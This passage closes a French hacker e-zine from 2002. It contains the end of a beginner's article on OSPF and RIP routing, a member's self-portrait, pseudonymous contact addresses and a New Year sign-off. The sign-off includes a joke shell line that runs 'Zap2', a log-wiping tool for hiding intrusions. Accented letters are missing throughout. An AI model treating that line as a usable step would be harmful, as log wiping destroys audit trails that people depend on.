table de routage de l'un, entraine immdiatement les changements appropris chez les autres
sans qu'il soit besoin de recourir  une mission gnrale de l'information. Chaque routeur
en informe son voisin DIRECT, na ! 
Sous OSPF, chaque routeur peut se reprsenter une "carte" de l'tat des routes proches
de lui. Cette "carte" qu'il a mmoris Cela lui vite d'avoir  reevoir,  incrmenter, 
et  retransmettre des informations sur le nombre de sauts le sparant des autres.
Il y a donc moins de flash info, le volume des donnes de routage en est rduit librant  
ainsi de la bande passante. De ce fait, le protocole OSPF permet de grer
un trafic plus important que RIP.





Conclusion :
____________


Voila, j'espre que ce chaptre vous aura aid  comprendre le fonctionnement du routage.
Ainsi s'achve la partie 2/2 de cette introduction  TCP/IP. Pour ceux qui chercheraient
le premier volet, sachez qu'il tait au sommaire de notre issue 1, et que vous pouvez
toujours vous le procurer, ainsi que le reste du magazine d'ailleurs sur notre site.




Me contacter :
______________


neo_fox_2001@hotmail.com
http://ioc.multimania.com
UIN : 130722451














-----------------------------------------------------------------------------------------------------
VIII.                       Portrait : Lex Icon                 par Lex Icon       ... of course  ;@)
-----------------------------------------------------------------------------------------------------     
                       

NICKNAME:	        Lex Icon  |  MEIK  

DATE DE NAISSANCE:	18 / 11 / 198x

CHEVEUX:		Bruns

Yeux:			Idem

Taille:			1,75m

Poids:			60kg

Loisirs:		Programmation, Rugby, VTT

Site(s):		http://greenberet.multimania.com
			http://IOC.multimania.com

Etudes:			Encore dans le cycle secondaire

Catgorie:	        Je suis un littraire

OS:			MS-Win98SE, OpenBSD2.9, RedHat6.0, Mandrake 8.0

Systme:		Cyrix 133MHz, 32Mo SDRAM, 1,2 + 20Go HD

Souhaite:		Devenir prof de grammaire anglaise en universit || devenir prof de 				
                        civilisation-us en universit  l'tranger || m'engager dans les 					
                        commandos.

Musique:		Black Metal, Electro (Indus. en particulier) et Goth [Dimmu Borgir, 				
                        Emperor, Immortal, Cradle of Filth, Mayhem, Mystic Circle][Rammstein, 				
                        Umbra&Imago, Skinny Puppy][Type o Negative]

Instruments:		Je joue de la guitare, un peu de la basse, je sais me servir d'une 				
                        batterie et je matrise le piano depuis peu. Sinon je chante (mon 				
                        registre est surtout dans les groupes que j'coute)

Hacking:		Je suis dans le hacking depuis maintenant 3 ans. Je fais de la 					
                        programmation depuis l'ge de 10 ans, mais  l'poque c'tait seulement 				
                        du basic sur des ordinateurs pour gamins.

Programmation:		Langages que je connais bien: C, Perl, Basic, Python. Langages dont je 				
                        sais me servir assez bien: VisualBasic 6, C++, Java.

IOC:		        Membre fondateur de IOC avec Neo Fox. Le projet datait de juin 2001 et 				
                        il a vu le jour en juillet 2001. Depuis, 6 mois sont passs et deux 				
                        magazines sont sortis. Le groupe s'apellait initiallement LoH mais
                        un changement est survenu pour diverses raisons.




   >> note de neofox : 
           La prochaine fois c'est mon tour !
 
















-------------------------------------------------------------------------------------------
IX.                                >>> CONTACTS <<<
-------------------------------------------------------------------------------------------



                    o Lex Icon :      Invisible_evil_meik@hotmail.com
                    o Neo Fox  :      neo_fox_2001@hotmail.com
                    o Merlin   :      IOC_merlin@hotmail.com
                    o Wargames :      wargames8@caramail.com
                     
                           
                    o Notre site :    http://IOC.multimania.com
                      




                      

                         



               ____   __   _        ____  _     _    _     ___  _   __   _     
             / ____| /  \ | \  || / ____|| |   | |  | |  /   _\|_| /  \ | \  ||
            / /     | /\ |||\\ ||/ /     | |   | |  | |  \ /    _ | /\ |||\\ ||
            \ \____ | \/ ||| \\||\ \____ | |__ | \__/ ||\_\ \  | || \/ ||| \\||
             \ ____| \__/ ||  \\| \ ____||____| \____/  \___/  |_| \__/ ||  \\|			
                                                   


                
                          [IOC@localhost /~]# ./Zap2 2001
                                     
             
             Ainsi s'achve notre mag, ainsi s'achve 2001, ainsi commene une
             nouvelle anne ; a fait beaucoup en une seule journe. On espre
             que vous n'avez pas trop  for sur la vodka hier soir, a ferait 
             chier que des lecteurs potentiels aient termin la soire dans un
             arbre avec leur caisse, sans mme avoir eut l'occasion de lire ce
             second numro ;  c'est vrai  quoi,  on crit pas ce mag. pour les
             platanes !  Si  tant  est que vous  soyez toujours en un seul  et
             mme morceau  - et nous aussi d'ailleurs -  et si  vous avez aim
             ce numro, envoyez nous  des mails  de soutien, a fait toujours 
             plaisir de savoir qu'on est lus ; au contraire, si vous ne l'avez 
             pas  trouv intressant, mailez nous  quand  mme pour nous faire 
             part de vos critiques, a nous aidera   amliorer. On vous donne 
             rendez vous  la sortie de  l'issue #3. En attendant, toute notre
             quipe vous souhaite une Bonne Anne 2002 !


                                                                   - IOC
       
                                




                              - Copyrights  2002 [IOC] -